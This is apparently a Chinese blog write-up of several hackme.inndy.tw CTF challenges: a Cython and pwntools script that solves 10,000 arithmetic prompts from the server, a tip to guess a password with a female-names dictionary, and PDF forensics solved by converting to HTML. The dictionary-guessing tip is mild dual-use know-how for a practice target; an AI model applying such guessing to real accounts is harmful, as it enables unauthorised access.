这道题用 cython 很合适, 就拿 cython 来写了. (吹一波 ipython, 真的好用, %load_ext cython 后就能方便地写 cython 代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
%%cython 
import cython
from pwn import *

@cython.cdivision(True)
def _eval(int a, op, int b):
if op == b'+':
return a + b
elif op == b'-':
return a - b
elif op == b'*':
return a * b
elif op == b'/':
return a / b

io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')

exps = b''

while exps.count(b'\n') != 10000:
exps += io.recv()
exps = exps.strip().split(b'\n')

ans = ''
for i in range(len(exps)):
exp = exps[i].split()
a, b = int(exp[0]), int(exp[2])
op = exp[1]
ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()

Lucky

you-guess

Can you guess my password?

观察到 '%s really hates her ex.' % password , 密码应该是个女性人名.
随便找个字典跑就行了
female-names

Forensic

easy pdf

Find the flag from this PDF document

转成 html

1
2
pacman -S poppler
pdftohtml --help

this is a pen

Find the flag from this pdf

和上一题一样